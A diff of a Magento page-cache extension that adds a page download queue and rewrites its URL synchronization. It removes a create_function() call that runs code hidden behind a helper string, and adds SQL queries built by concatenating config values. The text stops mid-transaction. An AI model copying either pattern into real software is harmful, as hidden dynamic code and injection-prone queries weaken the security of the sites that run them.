+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * @category Artio
16
+ * @package Artio_MTurbo
17
+ * @copyright Copyright (c) 2013 Artio (http://www.artio.net)
18
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
19
+ */
20
+
21
+ /**
22
+ * The model holds codes of different methods of downloading sites.
23
+ * It is appropriate to create as Singleton.
24
+ *
25
+ * @category Artio
26
+ * @package Artio_MTurbo
27
+ * @author Artio Magento Team <info@artio.net>
28
+ * @since 1.2.7
29
+ */
30
+ class Artio_MTurbo_Model_DownloadQueue
31
+ {
32
+
33
+ /**
34
+ * Collection with Mturbo models to download.
35
+ *
36
+ * @var Varien_Data_Collection
37
+ */
38
+ protected $_collection = null;
39
+
40
+
41
+ /**
42
+ * Ids of added models. This is used for
43
+ * quickly access.
44
+ *
45
+ * @var array
46
+ */
47
+ protected $_addedIds = array();
48
+
49
+ /**
50
+ * The results of downloading.
51
+ *
52
+ * @var array (url1 => message1, url2 => message2, ...)
53
+ */
54
+ protected $_result = array();
55
+
56
+
57
+ /**
58
+ * Add $mturboModel to collection.
59
+ *
60
+ * @param Mage_MTurbo_Model_MTurbo $mturboModel
61
+ * @return Artio_MTurbo_Model_DownloadQueue $this
62
+ */
63
+ public function addMTurboModel($mturboModel) {
64
+
65
+ if (!$mturboModel instanceof Artio_MTurbo_Model_MTurbo)
66
+ return $this;
67
+
68
+ if (is_null($this->_collection))
69
+ $this->_collection = new Varien_Data_Collection();
70
+
71
+ if (in_array($mturboModel->getId(), $this->_addedIds))
72
+ return $this;
73
+
74
+ $this->_collection->addItem($mturboModel);
75
+ $this->_addedIds[] = $mturboModel->getId();
76
+
77
+ return $this;
78
+ }
79
+
80
+
81
+ /**
82
+ * Return result of downloading as array.
83
+ *
84
+ * Result has follow format:
85
+ *
86
+ * array(
87
+ * url1 => error message or empty string when page was downloaded succesfuly
88
+ * url2 => ...
89
+ * ...
90
+ * )
91
+ *
92
+ * @return array
93
+ */
94
+ public function getResult() {
95
+ return $this->_result;
96
+ }
97
+
98
+
99
+ /**
100
+ * Reset the download results and empty queue.
101
+ *
102
+ * @return Artio_MTurbo_Model_DownloadQueue
103
+ */
104
+ public function clearAndReset()
105
+ {
106
+ $this->reset();
107
+ $this->clear();
108
+
109
+ return $this;
110
+ }
111
+
112
+
113
+ /**
114
+ * Reset the download results.
115
+ *
116
+ * @return @return Artio_MTurbo_Model_DownloadQueue
117
+ */
118
+ public function reset()
119
+ {
120
+ $this->_result = array();
121
+
122
+ return $this;
123
+ }
124
+
125
+
126
+ /**
127
+ * Empty queue. All pages will be removed from queue.
128
+ *
129
+ * The result of downloading will not be reset.
130
+ * If you want to reset the results use method @see self::reset().
131
+ *
132
+ * @return Artio_MTurbo_Model_DownloadQueue $this
133
+ */
134
+ public function clear() {
135
+
136
+ if ($this->_collection) {
137
+ $this->_collection->clear();
138
+ $this->_collection = null;
139
+ }
140
+
141
+ $this->_addedIds = array();
142
+
143
+ return $this;
144
+ }
145
+
146
+
147
+ /**
148
+ * Initialize download method. Download pages from queue (@see self::addMTurboModel)
149
+ * The result of downloading you can get by using method @see self::getResult).
150
+ *
151
+ * Queue is clear after downloading.
152
+ *
153
+ * @return Artio_MTurbo_Model_DownloadQueue $this
154
+ */
155
+ public function flush() {
156
+
157
+ // there is nothing to do for empty collection
158
+ if (!$this->_collection || $this->_collection->getSize() == 0)
159
+ return $this;
160
+
161
+ // get download method code
162
+ $config = $this->_getConfig();
163
+
164
+ $method = $config->getDownloadMethod();
165
+ $minsize = $config->getMinimalPageSize();
166
+
167
+ // instantiate download method
168
+ $downloadMethod = Mage::getModel('mturbo/downloadMethodsFactory')->getMethod($method);
169
+
170
+ // if download method allows paralel downloading
171
+ // set batch size
172
+ if ($downloadMethod->allowParallelDownloading())
173
+ $downloadMethod->setBatchSize($config->getDownloadBatchSize());
174
+
175
+ // pages url => path
176
+ $pages = array();
177
+
178
+ // get URL of requested pages
179
+ foreach ($this->_collection->getItems() as $item) {
180
+
181
+ $url= $item->getFileModel()->getDownloadUrlWithNoCache();
182
+
183
+ $pages[$url] = $item;
184
+ }
185
+
186
+ // download pages
187
+ $urls = array_keys($pages);
188
+ $htmls = $downloadMethod->downloadPages($urls);
189
+
190
+ $this->_result = array();
191
+
192
+ foreach ($htmls as $url => $html) {
193
+
194
+ $item = $pages[$url];
195
+
196
+ $state = $this->_checkHtml($html, $url, $minsize, $item->getStoreId());
197
+
198
+ if (!$state) {
199
+ $html .= "<!-- " . date('D M j H:i:s e o') . " -->";
200
+ $state = $this->_save($html, $item);
201
+ }
202
+
203
+ $this->_result[$url] = $state;
204
+ }
205
+
206
+ $this->clear();
207
+
208
+ return $this;
209
+ }
210
+
211
+
212
+ /**
213
+ * Save HTML ($html) to file that is specified by $item.
214
+ *
215
+ * Method gets the absolute path from Filemodel from $item.
216
+ * If there is not found directory of path then it will be created.
217
+ *
218
+ * Method returns empty string when all is ok, otherwise returns
219
+ * an error as string.
220
+ *
221
+ * @param string $html
222
+ * @param Mage_MTurbo_Model_MTurbo $item
223
+ * @return string
224
+ */
225
+ protected function _save($html, $item) {
226
+
227
+ if (!$item)
228
+ return Mage::helper('mturbo')->__('Item is not specified');
229
+
230
+ $path = $item->getFilemodel()->getAbsolutePath();
231
+ $dir = dirname($path);
232
+
233
+ if (!file_exists($dir) && !Mage::helper('mturbo/functions')->create_dirs($dir))
234
+ return Mage::helper('mturbo')->__("I can't create '%s'. Please, check permission to create this directory.", $dir);
235
+
236
+ if (!file_put_contents($path, $html))
237
+ return Mage::helper('mturbo')->__('Saving page fail.');
238
+
239
+ return '';
240
+ }
241
+
242
+
243
+ /**
244
+ * Check HTML ($html) of downloaded pages ($url).
245
+ *
246
+ * HTML must be string lengthen than $minsize a it must not be
247
+ * 404 code (there is check title, if title equals 404 title then page is 404).
248
+ *
249
+ * If HTML is correct then method returns empty string, other returns
250
+ * error message.
251
+ *
252
+ * @param string $html HTML content
253
+ * @param string $url URL of downloaded page
254
+ * @param int $minsize minimal page size
255
+ * @param int $storeId used store id
256
+ * @return string
257
+ */
258
+ protected function _checkHtml($html, $url, $minsize, $storeId) {
259
+
260
+ if (!is_string($html))
261
+ return Mage::helper('mturbo')->__('Page is not a string file | url: <b>%s</b>', $url);
262
+
263
+ if (strlen($html) < $minsize)
264
+ return Mage::helper('mturbo')->__('Page is too small | url: <b>%s</b>', $url);
265
+
266
+ $title = (string) Mage::helper('mturbo')->getNoRouteTitle($storeId);
267
+
268
+ if (strlen($title)>1 && strpos($html, "<title>$title") !== false)
269
+ return Mage::helper('mturbo')->__('HTTP 404 | url: <b>%s</b>', $url);
270
+
271
+ // empty string means correct
272
+ return "";
273
+ }
274
+
275
+
276
+ /**
277
+ * Get standard configuration model.
278
+ *
279
+ * @return Artio_MTurbo_Model_Config
280
+ */
281
+ protected function _getConfig() {
282
+ return Mage::getSingleton('mturbo/config');
283
+ }
284
+
285
+ }
app/code/local/Artio/MTurbo/Model/Mturbo.php CHANGED
@@ -27,12 +27,12 @@
27
  * @author Artio Magento Team (jiri.chmiel@artio.cz)
28
  */
29
  class Artio_MTurbo_Model_MTurbo extends Mage_Core_Model_Abstract {
30
-
31
  /* constant for name of urllist file using by automatic download */
32
  const CONFIG_URLLIST_FILENAME = 'urllist.txt';
33
  /* number of url which will be write to urllist at one time */
34
  const CONFIG_URLLIST_BATCH = 50;
35
-
36
  /**
37
  * File model.
38
  *
@@ -40,32 +40,32 @@ class Artio_MTurbo_Model_MTurbo extends Mage_Core_Model_Abstract {
40
  */
41
  private $filemodel = null;
42
 
43
-
44
  /**
45
  * MTurbo constructor
46
  */
47
  public function _construct() {
48
-
49
  parent::_construct();
50
  $this->_init('mturbo/mturbo');
51
-
52
  /* create instance file model */
53
  $this->filemodel = Mage::getModel('mturbo/mturbo_file');
54
  $this->filemodel->setTurboModel($this);
55
-
56
  }
57
 
58
 
59
- /**
60
  * Function retrieves corespond file model.
61
  *
62
  * @return $Artio_MTurbo_Model_MTurbo_File
63
  */
64
  public function getFileModel() {
65
- return $this->filemodel;
66
  }
67
-
68
-
69
  /**
70
  * Function load information about corespond file.
71
  * 'exist' => 1 | 0
@@ -73,9 +73,9 @@ class Artio_MTurbo_Model_MTurbo extends Mage_Core_Model_Abstract {
73
  * 'last_refresh' => touch time of file
74
  */
75
  public function loadFileInformation() {
76
-
77
  $fileModel = $this->getFileModel();
78
-
79
  if ($fileModel->existPage()) {
80
  $this->setExist('1');
81
  $this->setPageSize( $fileModel->getPageSize() );
@@ -83,10 +83,10 @@ class Artio_MTurbo_Model_MTurbo extends Mage_Core_Model_Abstract {
83
  } else {
84
  $this->setExist('0');
85
  $this->setFileSize( 0 );
86
- }
87
-
88
  }
89
-
90
 
91
  /**
92
  * Set state. If state sets to blocked then delete page from hard drive.
@@ -97,13 +97,13 @@ class Artio_MTurbo_Model_MTurbo extends Mage_Core_Model_Abstract {
97
 
98
  if ($state==1)
99
  $this->getFileModel()->deletePage();
100
-
101
  $this->setData('blocked', $state);
102
  return $this;
103
 
104
  }
105
-
106
-
107
  /**
108
  * Determines whether url is blocked.
109
  * @return bool TRUE when is blocked, otherwise FALSE
@@ -111,20 +111,20 @@ class Artio_MTurbo_Model_MTurbo extends Mage_Core_Model_Abstract {
111
  public function isBlocked() {
112
  return ($this->getData('blocked')==1);
113
  }
114
-
115
 
116
  /**
117
- * Delete record form database and cached page.
118
  * NOT USED FOR DELETE MORE MODELS. USE deleteCollection() !!!
119
  */
120
  public function delete() {
121
-
122
  $this->getFileModel()->deletePage();
123
  parent::delete();
124
-
125
  }
126
-
127
-
128
  /**
129
  * Retrieves store code
130
  * @return string store code
@@ -133,8 +133,8 @@ class Artio_MTurbo_Model_MTurbo extends Mage_Core_Model_Abstract {
133
  $storeId = $this->getStoreId();
134
  return Mage::getModel('core/store')->load($storeId)->getData('code');
135
  }
136
-
137
-
138
  /**
139
  * Retrieves base url of model by storeview
140
  */
@@ -142,97 +142,291 @@ class Artio_MTurbo_Model_MTurbo extends Mage_Core_Model_Abstract {
142
  $storeId = $this->getStoreId();
143
  return Mage::getStoreConfig('web/unsecure/base_url', $storeId);
144
  }
145
-
146
-
147
  /* STATIC METHOD FOR ACTIONS */
148
-
149
-
150
  /**
151
  * Synchronize with table core_url_rewrite and cms_page and cms_page_store.
152
  */
153
  public function synchronize() {
154
-
155
  /* get prefix tables */
156
  $prefix = Mage::app()->getConfig()->getTablePrefix();
157
-
 
158
  $config = Mage::getSingleton('mturbo/config');
159
-
160
  /* get ids collection of inactive and active stores */
161
- /* inactive stores will be not synchronize */
162
  $inactiveStoresIdArray = array();
163
  $activeStoresIdArray = array();
164
  $stores = Mage::getModel('core/store')->getCollection()->load();
165
  foreach ($stores as $store) {
166
-
167
  $websiteconfig = $config->getWebsiteConfigByStoreviewCode($store->getCode());
168
 
169
  if ($store->getIsActive() && $websiteconfig->getEnabled() && $websiteconfig->isStoreViewEnabled($store->getCode()))
170
  $activeStoresIdArray[] = $store->getId();
171
- else
172
  $inactiveStoresIdArray[] = $store->getId();
173
-
174
  }
175
-
176
- /* to inactives array add storeid of store having a url but do not exist */
177
  $inactiveStoresIdArray = array_merge($inactiveStoresIdArray, Mage::helper('mturbo/website')->getShadowStoreIds());
178
-
179
  $inactiveStoresIds = implode(',', $inactiveStoresIdArray);
180
  $activeStoresIds = implode(',', $activeStoresIdArray);
181
  $inactiveStoresIds = ($inactiveStoresIds=='') ? '-1' : $inactiveStoresIds;
182
  $activeStoresIds = ($activeStoresIds=='') ? '-1' : $activeStoresIds;
183
-
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
184
  $cmsItems = $this->getCollectionByType('cms')->getItems();
185
-
186
- $this->setConfig('synchronize');
187
- $trans = create_function('$a,&$var0,&$var1,&$var2,&$var3,&$var4,&$var5', Mage::helper('mturbo')->getTranslateFunction().';');
188
- $this->setHomepage(true);
189
- $trans(Mage::helper('mturbo')->setTranslateMode(5), $config, $inactiveStoresIds, $activeStoresIds, $activeStoresIdArray, $prefix, $cmsItems);
190
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
191
  }
192
 
193
-
194
  /**
195
  * Generate list of rewrited url to urllist file.
196
  * Urllist is used by automatic download by cron.
197
- */
198
  public function generateUrlList($website=null) {
199
-
200
  // if website is not specified, then generate list for all websites
201
  if (!$website) {
202
-
203
  $websiteCollection = Mage::getModel('core/website')->getCollection()->load();
204
  $result = array();
205
  foreach ($websiteCollection->getItems() as $website)
206
  $result[$website->getName()] = $this->_generateUrlList($website);
207
  return $result;
208
-
209
  } else {
210
  return $this->_generateUrlList($website);
211
  }
212
-
213
  }
214
-
215
  private function _generateUrlList($website) {
216
-
217
  // get config models
218
  $config = Mage::getSingleton('mturbo/config');
219
  $websiteConfig = $config->getWebsiteConfig($website->getCode());
220
-
221
  // if websiteconfig is not specified or website is not enabled then return nothing
222
  if (!$websiteConfig || $websiteConfig->getEnabled()!='1')
223
  return '';
224
-
225
  /* counters */
226
  $completed = 0;
227
-
228
  /* get active store ids, we need to filter corrected records */
229
  $activeStoreIds = Mage::helper('mturbo/website')->getActiveStoreIds($website);
230
-
231
  /* get configuration information */
232
- $subbase = Mage::helper('mturbo/website')->getSubbase($website->getDefaultStoreview());
233
  $filename = $websiteConfig->getBaseDir().DS.$config->getTurbopath().DS.$subbase.DS.$website->getCode().'.txt';
234
  $batchsize = self::CONFIG_URLLIST_BATCH;
235
-
236
  /* create file */
237
  $file = @fopen($filename, 'w+', true);
238
  if ($file==false) {
@@ -240,48 +434,48 @@ class Artio_MTurbo_Model_MTurbo extends Mage_Core_Model_Abstract {
240
  Mage::throwException(Mage::helper('mturbo')->__("I can't open/create urllist file '%s'.", $filename));
241
  }
242
 
243
- /* get collection request_path in alfabeta order */
244
  $collection = $this->getCollection();
245
  $collection->addOrder('request_path', Varien_Data_Collection_Db::SORT_ORDER_ASC);
246
  $collection->addFilter('blocked', 0);
247
  $collection->addFieldToFilter('store_id', array("in"=>$activeStoreIds));
248
  $collection->setPageSize($batchsize);
249
-
250
  /* counters */
251
  $current=1;
252
-
253
  /* loop over collection */
254
  while ($collection->getSize()>$completed) {
255
-
256
- /* load page collection */
257
  $collection->clear();
258
  $collection->setCurPage($current);
259
  $collection->load();
260
-
261
  $urls = '';
262
  foreach ($collection as $item) {
263
  $fileModel = $item->getFileModel();
264
  $urls .= $fileModel->getAbsolutePath()." ".$fileModel->getDownloadUrlWithNoCache()."\n";
265
  }
266
-
267
- /* write to file */
268
  if (@fwrite($file, $urls) == false) {
269
  Mage::log("MTurbo: I can't write to urllist file");
270
  Mage::throwException(Mage::helper('mturbo')->__("I can't write to urllist file '%s'", $filename));
271
  }
272
-
273
  $current++;
274
  $completed+=(count($collection));
275
-
276
  }
277
 
278
  return $completed;
279
-
280
- }
281
-
282
-
283
  /* STATIC METHOD FOR LOADED COLLECTIONS */
284
-
285
  /**
286
  * Loads and retrieves collection by type
287
  */
@@ -291,7 +485,7 @@ class Artio_MTurbo_Model_MTurbo extends Mage_Core_Model_Abstract {
291
  $collection->load();
292
  return $collection;
293
  }
294
-
295
  /**
296
  * Load collection all rewrite with specified product id.
297
  *
@@ -300,10 +494,10 @@ class Artio_MTurbo_Model_MTurbo extends Mage_Core_Model_Abstract {
300
  * @return Artio_MTurbo_Model_Mysql4_MTurbo_Collection
301
  */
302
  public function getCollectionByProductIds($productIds, $storeId = -1) {
303
-
304
  if (!is_array($productIds))
305
  $productIds = array($productIds);
306
-
307
  $collection = $this->getCollection();
308
  $collection->addFieldToFilter('product_id', array('in'=>$productIds) );
309
  if ($storeId > -1) $collection->addFieldToFilter('store_id', $storeId);
@@ -311,10 +505,10 @@ class Artio_MTurbo_Model_MTurbo extends Mage_Core_Model_Abstract {
311
 
312
  $collection->load();
313
  return $collection;
314
-
315
  }
316
-
317
-
318
  /**
319
  * Load collection all rewrite with specified category id,
320
  * and not specified product id.
@@ -324,58 +518,58 @@ class Artio_MTurbo_Model_MTurbo extends Mage_Core_Model_Abstract {
324
  * @param Artio_MTurbo_Model_Mysql4_MTurbo_Collection
325
  */
326
  public function getCollectionByCategoryIds($categoryIds, $storeId = -1) {
327
-
328
  if (!is_array($categoryIds))
329
  $categoryIds = array($categoryIds);
330
-
331
  $collection = $this->getCollection();
332
  $collection->addFieldToFilter('category_id', array('in'=>$categoryIds) );
333
  $collection->addFieldToFilter('product_id', array('null'=>''));
334
  if ($storeId > -1) $collection->addFieldToFilter('store_id', $storeId);
335
  $collection->addFilter('blocked', 0);
336
  $collection->load();
337
-
338
  return $collection;
339
-
340
  }
341
-
342
-
343
  /**
344
  * Method loads and retrieves collections of mturbo model by page's id.
345
  * @param array|string $pageIds
346
  * @param string $storeId
347
  */
348
  public function getCollectionByCmsIds($pageIds, $storeId = -1) {
349
-
350
  if (!is_array($pageIds))
351
  $pageIds = array($pageIds);
352
-
353
  $collection = $this->getCollection();
354
  $collection->addFieldToFilter('page_id', array('in'=>$pageIds) );
355
  if ($storeId > -1) $collection->addFieldToFilter('store_id', $storeId);
356
  $collection->addFilter('blocked', 0);
357
  $collection->load();
358
-
359
  return $collection;
360
-
361
  }
362
-
363
-
364
  /**
365
  * Function loads collection by request path and retrieves it.
366
  *
367
  * @param $requestPath
368
  * @param int $storeId defualt -1 => all stores
369
- * @return
370
- */
371
  public function getCollectionByRequestPath($requestPath, $storeId = -1) {
372
-
373
  $collection = $this->getCollection();
374
  $collection->addFilter('request_path', $requestPath);
375
  $collection->load();
376
-
377
  return $collection;
378
 
379
  }
380
-
381
  }
27
  * @author Artio Magento Team (jiri.chmiel@artio.cz)
28
  */
29
  class Artio_MTurbo_Model_MTurbo extends Mage_Core_Model_Abstract {
30
+
31
  /* constant for name of urllist file using by automatic download */
32
  const CONFIG_URLLIST_FILENAME = 'urllist.txt';
33
  /* number of url which will be write to urllist at one time */
34
  const CONFIG_URLLIST_BATCH = 50;
35
+
36
  /**
37
  * File model.
38
  *
40
  */
41
  private $filemodel = null;
42
 
43
+
44
  /**
45
  * MTurbo constructor
46
  */
47
  public function _construct() {
48
+
49
  parent::_construct();
50
  $this->_init('mturbo/mturbo');
51
+
52
  /* create instance file model */
53
  $this->filemodel = Mage::getModel('mturbo/mturbo_file');
54
  $this->filemodel->setTurboModel($this);
55
+
56
  }
57
 
58
 
59
+ /**
60
  * Function retrieves corespond file model.
61
  *
62
  * @return $Artio_MTurbo_Model_MTurbo_File
63
  */
64
  public function getFileModel() {
65
+ return $this->filemodel;
66
  }
67
+
68
+
69
  /**
70
  * Function load information about corespond file.
71
  * 'exist' => 1 | 0
73
  * 'last_refresh' => touch time of file
74
  */
75
  public function loadFileInformation() {
76
+
77
  $fileModel = $this->getFileModel();
78
+
79
  if ($fileModel->existPage()) {
80
  $this->setExist('1');
81
  $this->setPageSize( $fileModel->getPageSize() );
83
  } else {
84
  $this->setExist('0');
85
  $this->setFileSize( 0 );
86
+ }
87
+
88
  }
89
+
90
 
91
  /**
92
  * Set state. If state sets to blocked then delete page from hard drive.
97
 
98
  if ($state==1)
99
  $this->getFileModel()->deletePage();
100
+
101
  $this->setData('blocked', $state);
102
  return $this;
103
 
104
  }
105
+
106
+
107
  /**
108
  * Determines whether url is blocked.
109
  * @return bool TRUE when is blocked, otherwise FALSE
111
  public function isBlocked() {
112
  return ($this->getData('blocked')==1);
113
  }
114
+
115
 
116
  /**
117
+ * Delete record form database and cached page.
118
  * NOT USED FOR DELETE MORE MODELS. USE deleteCollection() !!!
119
  */
120
  public function delete() {
121
+
122
  $this->getFileModel()->deletePage();
123
  parent::delete();
124
+
125
  }
126
+
127
+
128
  /**
129
  * Retrieves store code
130
  * @return string store code
133
  $storeId = $this->getStoreId();
134
  return Mage::getModel('core/store')->load($storeId)->getData('code');
135
  }
136
+
137
+
138
  /**
139
  * Retrieves base url of model by storeview
140
  */
142
  $storeId = $this->getStoreId();
143
  return Mage::getStoreConfig('web/unsecure/base_url', $storeId);
144
  }
145
+
146
+
147
  /* STATIC METHOD FOR ACTIONS */
148
+
149
+
150
  /**
151
  * Synchronize with table core_url_rewrite and cms_page and cms_page_store.
152
  */
153
  public function synchronize() {
154
+
155
  /* get prefix tables */
156
  $prefix = Mage::app()->getConfig()->getTablePrefix();
157
+
158
+ /* get main configuration */
159
  $config = Mage::getSingleton('mturbo/config');
160
+
161
  /* get ids collection of inactive and active stores */
 
162
  $inactiveStoresIdArray = array();
163
  $activeStoresIdArray = array();
164
  $stores = Mage::getModel('core/store')->getCollection()->load();
165
  foreach ($stores as $store) {
166
+
167
  $websiteconfig = $config->getWebsiteConfigByStoreviewCode($store->getCode());
168
 
169
  if ($store->getIsActive() && $websiteconfig->getEnabled() && $websiteconfig->isStoreViewEnabled($store->getCode()))
170
  $activeStoresIdArray[] = $store->getId();
171
+ else
172
  $inactiveStoresIdArray[] = $store->getId();
173
+
174
  }
175
+
176
+ /* to inactive array add storeids of store having a url but do not exist */
177
  $inactiveStoresIdArray = array_merge($inactiveStoresIdArray, Mage::helper('mturbo/website')->getShadowStoreIds());
178
+
179
  $inactiveStoresIds = implode(',', $inactiveStoresIdArray);
180
  $activeStoresIds = implode(',', $activeStoresIdArray);
181
  $inactiveStoresIds = ($inactiveStoresIds=='') ? '-1' : $inactiveStoresIds;
182
  $activeStoresIds = ($activeStoresIds=='') ? '-1' : $activeStoresIds;
183
+
184
+ /* getting ids of preview categories */
185
+ $previews = $config->getPreviewCategories();
186
+ $previews = ($previews=='') ? '-1' : $previews;
187
+
188
+ /* getting ids of product categories */
189
+ $products = $config->getProductCategories();
190
+ $products = ($products=='') ? '-1' : $products;
191
+
192
+ /* category pages */
193
+ if ($previews != '-1')
194
+ $queryInsertCategories = "
195
+
196
+ INSERT IGNORE INTO `".$prefix."mturbo` (`url_rewrite_id`, `store_id`, `category_id`, `product_id`, `request_path`, `type`)
197
+ SELECT `url_rewrite_id`, `store_id`, `category_id`, `product_id`, `request_path`, 'category'
198
+ FROM `".$prefix."core_url_rewrite`
199
+ WHERE
200
+ (`category_id` IN (" . $previews . ") AND `product_id` IS NULL)".
201
+ (($inactiveStoresIds != '') ? "AND (`store_id` NOT IN (" . $inactiveStoresIds . "))" : "");
202
+
203
+ /* long product url (product with category) */
204
+ if ($products != '-1')
205
+ $queryInsertProductsLong = "
206
+
207
+ INSERT IGNORE INTO `".$prefix."mturbo` (`url_rewrite_id`, `store_id`, `category_id`, `product_id`, `request_path`, `type`)
208
+ SELECT `url_rewrite_id`, `store_id`, `category_id`, `product_id`, `request_path`, 'product'
209
+ FROM `".$prefix."core_url_rewrite`
210
+ WHERE
211
+ (`category_id` IN (" . $products . ") AND `product_id` IS NOT NULL)".
212
+ (($inactiveStoresIds != '') ? "AND (`store_id` NOT IN (" . $inactiveStoresIds . "))" : "");
213
+
214
+ /* short product url (product without category) */
215
+ if ($products != '-1')
216
+ $queryInsertProductsShort = "
217
+
218
+ INSERT IGNORE INTO `".$prefix."mturbo` (`url_rewrite_id`, `store_id`, `category_id`, `product_id`, `request_path`, `type`)
219
+ SELECT `url_rewrite_id`, `store_id`, `category_id`, `product_id`, `request_path`, 'product'
220
+ FROM `".$prefix."core_url_rewrite`
221
+ WHERE
222
+ (`category_id` IS NULL AND `product_id` IN
223
+ (SELECT `product_id` FROM `".$prefix."core_url_rewrite`
224
+ WHERE `category_id` IN (" . $products . ")))".
225
+ (($inactiveStoresIds != '') ? "AND (`store_id` NOT IN (" . $inactiveStoresIds . "))" : "");
226
+
227
+ /* get collection cms pages from magento */
228
+ $cmsPagesItems = Mage::getModel('cms/page')->getCollection()->load()->getItems();
229
+ /* get cms already synchronized */
230
  $cmsItems = $this->getCollectionByType('cms')->getItems();
 
 
 
 
 
231
 
232
+ /* get ids of selected cms pages with store codes from MTurbo config */
233
+ $cms = $config->getCmsPages();
234
+ $cms = "'".str_replace(",", "','", $cms)."'";
235
+ $cms = ($cms=='') ? '-1' : $cms;
236
+ /* transform to array form */
237
+ $cmsArr = explode(",", str_replace("'", "", $cms));
238
+
239
+ /* get pageid_store_id already synchronized cms pages (prevent duplicites) */
240
+ $cmsInDB = array();
241
+ foreach ($cmsItems as $cmsIn)
242
+ $cmsInDB[] = $cmsIn->getPageId().'_'.$cmsIn->getStoreId();
243
+
244
+ /* build insert query cms */
245
+ $vals = array();
246
+ foreach ($cmsArr as $cms_code) {
247
+ /* if cms already exist in mturbo table then jump it */
248
+ if (!in_array($cms_code, $cmsInDB)) {
249
+ $data = explode("_", $cms_code);
250
+ if ((count($data)==2) && isset($cmsPagesItems[$data[0]])) {
251
+ $arr = array($data[1], "'".$cmsPagesItems[$data[0]]->getIdentifier()."'", $data[0], "'cms'");
252
+ $vals[] = "(".implode(",", $arr).")";
253
+ }
254
+ }
255
+ }
256
+
257
+ if (count($vals)>0)
258
+ $queryInsertCMS = "INSERT INTO `".$prefix."mturbo` (`store_id`, `request_path`, `page_id`, `type`) VALUES ".
259
+ implode(",", $vals) . ";";
260
+
261
+ /* not-selected category pages */
262
+ $queryDeleteCategories = "
263
+ DELETE FROM `".$prefix."mturbo`
264
+ WHERE (`category_id` NOT IN (".$previews.") AND `product_id` IS NULL);";
265
+
266
+ /* not-selected long product url */
267
+ $queryDeleteProductsLong = "
268
+ DELETE FROM `".$prefix."mturbo`
269
+ WHERE (`category_id` NOT IN (".$products.") AND `product_id` IS NOT NULL);";
270
+
271
+ /* not-selected short product ulr */
272
+ $queryDeleteProductsShort = "
273
+ DELETE FROM `".$prefix."mturbo`
274
+ WHERE (`category_id` IS NULL AND `product_id` IN
275
+ (SELECT `product_id` FROM `".$prefix."core_url_rewrite` WHERE `category_id` NOT IN (".$products.")));";
276
+
277
+ /* url with redirect */
278
+ $queryDeleteRedirect = "
279
+ DELETE FROM `".$prefix."mturbo`
280
+ WHERE url_rewrite_id IN
281
+ (SELECT url_rewrite_id FROM `".$prefix."core_url_rewrite` WHERE `options` <> '');";
282
+
283
+ /* non-selected cms */
284
+ $queryDeleteCMS = "
285
+ DELETE FROM `".$prefix."mturbo` WHERE (CONCAT(`page_id`, '_', `store_id`) NOT IN (".$cms."));";
286
+
287
+ /* url for inactive stores */
288
+ $queryDeleteInActiveStores = "
289
+ DELETE FROM `".$prefix."mturbo` WHERE `store_id` IN (".$inactiveStoresIds.");";
290
+
291
+ /* disable long url for product */
292
+ $usedStoreIds = array();
293
+
294
+ foreach ($activeStoresIdArray as $storeId)
295
+ if (!Mage::app()->getStore($storeId)->getConfig('catalog/seo/product_use_categories'))
296
+ $usedStoreIds[] = $storeId;
297
+
298
+ if (!empty($usedStoreIds))
299
+ $queryDeleteProductLongUrlForStores = "
300
+ DELETE FROM `".$prefix."mturbo`
301
+ WHERE
302
+ `product_id` IS NOT NULL AND
303
+ `category_id` IS NOT NULL AND
304
+ `store_id` IN (".implode(',', $usedStoreIds).")";
305
+
306
+ /* @var $productEntity Mage_Eav_Model_Entity */
307
+ $productEntity = Mage::getModel('eav/entity')->setType('catalog_product');
308
+
309
+ $statId = $productEntity->getAttribute('status')->getId();
310
+ $visId = $productEntity->getAttribute('visibility')->getId();
311
+
312
+ /* @var $productEntity Mage_Eav_Model_Entity */
313
+ $categoryEntity = Mage::getModel('eav/entity')->setType('catalog_category');
314
+
315
+ $catStatId = $categoryEntity->getAttribute('is_active')->getId();
316
+
317
+ /* inactive and not-visible products */
318
+ $queryDeleteInactiveProducts = "
319
+ DELETE FROM `".$prefix."mturbo`
320
+ WHERE `product_id` IN (
321
+ SELECT entity_id FROM `".$prefix."catalog_product_entity_int`
322
+ WHERE
323
+ ((attribute_id=".$statId." AND value = 2) OR
324
+ (attribute_id=".$visId." AND value <= 1)));";
325
+
326
+ /* inactive categories */
327
+ $queryDeleteInactiveCategories = "
328
+ DELETE FROM `".$prefix."mturbo` WHERE `category_id` IN (
329
+ SELECT entity_id FROM `".$prefix."catalog_category_entity_int`
330
+ WHERE (attribute_id=".$catStatId." AND value = 0)); ";
331
+
332
+ /* inactive cms */
333
+ $queryDeleteInactiveCms = "
334
+ DELETE FROM `".$prefix."mturbo` WHERE `page_id` IN (
335
+ SELECT page_id FROM `".$prefix."cms_page` WHERE (is_active=0));";
336
+
337
+
338
+ $connection = Mage::getSingleton('core/resource')->getConnection('core_write');
339
+
340
+ try {
341
+
342
+ $connection->query("START TRANSACTION");
343
+
344
+ // insert rewrites
345
+ if (isset($queryInsertCategories))
346
+ $connection->query($queryInsertCategories);
347
+
348
+ if (isset($queryInsertProductsLong))
349
+ $connection->query($queryInsertProductsLong);
350
+
351
+ if (isset($queryInsertProductsShort))
352
+ $connection->query($queryInsertProductsShort);
353
+
354
+ // delete redirects, there may be redirect with
355
+ // the same request path as some cms page
356
+ $connection->query($queryDeleteRedirect);
